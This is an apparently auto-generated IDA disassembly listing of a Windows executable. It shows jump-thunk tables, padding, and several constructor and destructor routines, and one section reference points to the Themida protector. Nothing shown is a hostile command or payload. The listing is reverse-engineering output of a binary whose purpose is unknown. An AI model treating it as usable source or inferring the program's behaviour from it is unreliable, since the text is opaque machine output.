--------------------------------------------------------------------------- jmp loc_431670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B288j ... jmp sub_417C00 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416E7Fp jmp sub_4131F0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421754p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404690+2CEp ; sub_404CC0+46Fp ... jmp sub_40A750 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEC0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F088o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEC3p ; ___:0040FFAEp ... jmp sub_40AEF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099C0+7p jmp sub_409AB0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416760+Ap jmp sub_416970 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBF0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_410030+8ADp ; sub_410030+95Ep ... jmp sub_411A60 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C120+7p jmp sub_40C310 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418A40+34p ; sub_418F90+67p jmp sub_418DA0 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BF0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_4292B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_417120+2Bp ; sub_417120+3Bp ... jmp sub_403F30 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098B0+14p jmp sub_409910 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_427940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp jmp sub_418B70 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415230+5p ; sub_4153F0+6p ... jmp sub_415DE0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_427940+3p jmp sub_427970 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1F0 ; --------------------------------------------------------------------------- jmp loc_421720 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416E4Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413740+83p ; sub_4145A0+91p ... jmp sub_4153F0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F054o jmp sub_41F030 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p jmp sub_40ADE0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416860+Ap jmp sub_4169C0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D70+4p jmp sub_416590 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E20+8p jmp sub_4190C0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418990+34p ; sub_418E80+67p jmp sub_418CA0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41A960 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415BA0+35p jmp sub_416670 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404CC0+459p ; sub_406730+43p ... jmp sub_409CA0 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BE00+5p ; sub_40BF40+6p ... jmp sub_40C140 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416F7Ap jmp sub_4191B0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AD23p jmp sub_42AD50 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_410030+F3Dp ; sub_410030+1392p ... jmp sub_4148A0 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A80+38p ; sub_413E70+5Fp jmp sub_4135E0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A210+14p ; sub_40A240+7p ... jmp sub_40A260 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap ; sub_40AD10+1Ap jmp sub_40AD80 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156F0+3p ; ___:00415F1Fp ... jmp sub_416150 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_410030 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_4148A0+EDp jmp sub_415920 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BF00+3p jmp sub_40C180 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BFA0+11p ; ___:0040BFC7p ... jmp sub_40C2C0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E760+2C5p jmp sub_4208E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D930+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CC0+32p jmp sub_418F90 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ED00+ACp ; ___:0040F42Dp jmp sub_40EE40 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138B0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp ; sub_415BA0+2Cp jmp sub_415B00 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420630+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap ; sub_40AAD0+103p jmp sub_40AD10 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427910 ; --------------------------------------------------------------------------- jmp loc_41AD00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap jmp sub_4165E0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:00408775p ; ___:00408797p ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B600+55p jmp sub_40A0B0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_429510 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD50+11p ; sub_40BFA0+1Fp jmp sub_40C0D0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416ABBp jmp sub_418A40 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403720+25p ; sub_403720+35p ... jmp sub_403CE0 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_418430+88p ; sub_418430+98p jmp sub_418B90 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BBBp ; ___:0043B20Aj ... jmp sub_417870 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418BE0+5p jmp sub_418E50 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414710+3p jmp sub_414740 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp ; sub_4135E0+C0p ... jmp sub_415540 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D930+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_4134A0+34p ; sub_4148A0+40p jmp sub_4159F0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p ; sub_40D040+ADp jmp sub_40D040 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFC0 ; --------------------------------------------------------------------------- db 26Bh dup(0CCh) byte_4024FE db 1032h dup(0CCh) ; DATA XREF: Themida_:loc_5ABEC3o ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F30 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CC0 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403CC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CE0 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D60 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DE0 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DE0 endp ; 